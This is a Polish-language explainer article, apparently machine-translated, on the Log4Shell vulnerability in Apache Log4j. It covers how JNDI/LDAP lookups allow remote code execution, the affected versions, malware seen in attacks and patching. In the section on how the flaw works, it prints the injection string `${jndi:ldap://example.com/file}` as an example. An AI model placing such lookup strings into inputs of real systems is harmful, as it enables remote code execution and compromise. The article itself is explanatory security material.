Spis treści[Ukryć][Pokazać]
Pod koniec listopada 2021 r. odkryliśmy poważne zagrożenie dla cyberbezpieczeństwa. Ten exploit mógłby potencjalnie wpłynąć na miliony systemów komputerowych na całym świecie.
To jest przewodnik dotyczący luki Log4j i tego, jak przeoczona wada projektowa naraziła na atak ponad 90% światowych usług komputerowych.
Apache Log4j to narzędzie do rejestrowania oparte na języku Java o otwartym kodzie źródłowym, opracowane przez Apache Software Foundation. Pierwotnie napisany przez Ceki Gülcü w 2001 roku, jest teraz częścią Apache Logging Services, projektu Apache Software Foundation.
Firmy na całym świecie korzystają z biblioteki Log4j, aby umożliwić logowanie w swoich aplikacjach. W rzeczywistości biblioteka Java jest tak wszechobecna, że można ją znaleźć w aplikacjach Amazon, Microsoft, Google i innych.
Znaczenie biblioteki oznacza, że każda potencjalna luka w kodzie może narazić miliony komputerów na ataki hakerów. 24 listopada 2021 r bezpieczeństwo chmury badacz pracujący dla Alibaba odkrył straszną wadę.
Luka Log4j, znana również jako Log4Shell, istniała niezauważona od 2013 roku. Luka ta umożliwiała złośliwym cyberprzestępcom uruchamianie kodu na zagrożonych systemach z Log4j. Ujawniono go publicznie 9 grudnia 2021 r.
Eksperci branżowi nazywają wadę Log4Shell „błędem” największa luka w ostatniej pamięci.
W tygodniu po opublikowaniu luki zespoły ds. cyberbezpieczeństwa wykryły miliony ataków. Niektórzy badacze zaobserwowali nawet wskaźnik ponad stu ataków na minutę.
Jak to działa?
Aby zrozumieć, dlaczego Log4Shell jest tak niebezpieczny, musimy zrozumieć, do czego jest zdolny.
Luka Log4Shell pozwala na wykonanie dowolnego kodu, co w zasadzie oznacza, że atakujący może uruchomić dowolne polecenie lub kod na docelowej maszynie.
Jak to robi?
Najpierw musimy zrozumieć, czym jest JNDI.
Java Naming and Directory Interface (JNDI) to usługa Java, która umożliwia programom Java wykrywanie i wyszukiwanie danych i zasobów za pomocą nazwy. Te usługi katalogowe są ważne, ponieważ zapewniają zorganizowany zestaw rekordów, z których deweloperzy mogą się łatwo odwoływać podczas tworzenia aplikacji.
JNDI może korzystać z różnych protokołów, aby uzyskać dostęp do określonego katalogu. Jednym z tych protokołów jest Lightweight Directory Access Protocol (LDAP).
Podczas rejestrowania ciągu, log4j wykonuje podstawienia łańcuchów, gdy napotkają wyrażenia postaci ${prefix:name}
.
Na przykład, Text: ${java:version}
może być rejestrowany jako Tekst: Java w wersji 1.8.0_65. Tego rodzaju substytucje są powszechne.
Możemy również mieć wyrażenia takie jak Text: ${jndi:ldap://example.com/file}
który używa systemu JNDI do załadowania obiektu Java z adresu URL za pośrednictwem protokołu LDAP.
To skutecznie ładuje dane pochodzące z tego adresu URL do komputera. Każdy potencjalny haker może hostować złośliwy kod pod publicznym adresem URL i czekać, aż komputery używające Log4j go zarejestrują.
Ponieważ treść komunikatów dziennika zawiera dane kontrolowane przez użytkownika, hakerzy mogą wstawiać własne odniesienia JNDI wskazujące na kontrolowane przez siebie serwery LDAP. Te serwery LDAP mogą być pełne złośliwych obiektów Java, które JNDI może wykonać za pomocą luki.
Co gorsza, nie ma znaczenia, czy aplikacja jest aplikacją po stronie serwera, czy po stronie klienta.
Dopóki istnieje sposób, aby rejestrator mógł odczytać złośliwy kod atakującego, aplikacja jest nadal otwarta na exploity.
Kto jest dotknięty?
Luka dotyczy wszystkich systemów i usług korzystających z APache Log4j, od wersji 2.0 do 2.14.1 włącznie.
Kilku ekspertów ds. bezpieczeństwa informuje, że luka może dotyczyć wielu aplikacji korzystających z języka Java.
Luka została po raz pierwszy odkryta w należącej do Microsoftu grze wideo Minecraft. Microsoft wezwał swoich użytkowników do uaktualnienia oprogramowania Minecraft w wersji Java, aby zapobiec ryzyku.
Jen Easterly, dyrektor Agencji ds. Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA) mówi, że dostawcy mają główna odpowiedzialność w celu ochrony użytkowników końcowych przed złośliwymi podmiotami wykorzystującymi tę lukę.
„Sprzedawcy powinni również komunikować się ze swoimi klientami, aby upewnić się, że użytkownicy końcowi wiedzą, że ich produkt zawiera tę lukę i powinni traktować priorytetowo aktualizacje oprogramowania”.
Ataki podobno już się rozpoczęły. Symantec, firma dostarczająca oprogramowanie do cyberbezpieczeństwa, zaobserwowała zróżnicowaną liczbę żądań ataków.
Oto kilka przykładów rodzajów ataków wykrytych przez badaczy:
- botnety
Botnety to sieć komputerów, które znajdują się pod kontrolą jednej strony atakującej. Pomagają przeprowadzać ataki DDoS, kraść dane i inne oszustwa. Badacze zaobserwowali botnet Muhstik w skryptach powłoki pobranych z exploita Log4j.
- Trojan XMRig Miner
XMRig to koparka kryptowalut typu open source, która wykorzystuje procesory do wydobywania tokena Monero. Cyberprzestępcy mogą instalować XMRig na urządzeniach ludzi, aby mogli korzystać z mocy obliczeniowej bez ich wiedzy.
- Ransomware Khonsari
Ransomware odnosi się do formy złośliwego oprogramowania zaprojektowanej do szyfrować pliki na komputerze. Atakujący mogą następnie zażądać zapłaty w zamian za przywrócenie dostępu do zaszyfrowanych plików. Badacze odkryli ransomware Khonsari w atakach Log4Shell. Są skierowane do serwerów Windows i korzystają z platformy .NET.
Co dzieje się dalej?
Eksperci przewidują, że pełne naprawienie chaosu spowodowanego przez lukę Log4J może zająć miesiące, a może nawet lata.
Ten proces obejmuje aktualizację każdego systemu, którego dotyczy problem, za pomocą poprawionej wersji. Nawet jeśli wszystkie te systemy zostaną załatane, nadal istnieje zagrożenie związane z możliwymi tylnymi drzwiami, które hakerzy mogli już dodać do okna, w którym serwery były otwarte na atak.
Wiele rozwiązania i łagodzenia istnieją, aby zapobiec wykorzystywaniu aplikacji przez ten błąd. Nowa wersja Log4j 2.15.0-rc1 zmieniła różne ustawienia, aby złagodzić tę lukę.
Wszystkie funkcje korzystające z JNDI zostaną domyślnie wyłączone, a zdalne wyszukiwanie również zostało ograniczone. Wyłączenie funkcji wyszukiwania w konfiguracji Log4j pomoże zmniejszyć ryzyko możliwych exploitów.
Poza Log4j nadal istnieje potrzeba opracowania szerszego planu zapobiegania exploitom typu open source.
Wcześniej w maju Biały Dom wydał zarządzenie wykonawcze który miał na celu poprawę cyberbezpieczeństwa kraju. Zawierała ona postanowienie dotyczące zestawienia materiałów oprogramowania (SBOM), które zasadniczo było formalnym dokumentem zawierającym listę wszystkich elementów potrzebnych do zbudowania aplikacji.
Obejmuje to części takie jak open source pakiety, zależności i interfejsy API używane do programowania. Chociaż idea SBOM jest pomocna dla przejrzystości, czy naprawdę pomoże konsumentowi?
Uaktualnianie zależności może być zbyt kłopotliwe. Firmy mogą po prostu zapłacić jakiekolwiek grzywny, zamiast ryzykować marnowanie dodatkowego czasu na szukanie alternatywnych pakietów. Być może te SBOM-y będą przydatne tylko wtedy, gdy ich zakres jest dodatkowo ograniczony.
Wnioski
Problem Log4j to coś więcej niż tylko problem techniczny dla organizacji.
Liderzy biznesowi muszą być świadomi potencjalnych zagrożeń, które mogą wystąpić, gdy ich serwery, produkty lub usługi opierają się na kodzie, którego sami nie utrzymują.
Poleganie na aplikacjach typu open source i innych firm zawsze wiąże się z pewnym ryzykiem. Firmy powinny rozważyć opracowanie strategii ograniczania ryzyka, zanim nowe zagrożenia wyjdą na światło dzienne.
Duża część sieci opiera się na oprogramowaniu open source utrzymywanym przez tysiące wolontariuszy na całym świecie.
Jeśli chcemy, aby sieć była bezpiecznym miejscem, rządy i korporacje powinny inwestować w finansowanie działań open source i agencji bezpieczeństwa cybernetycznego, takich jak CISA.
Dodaj komentarz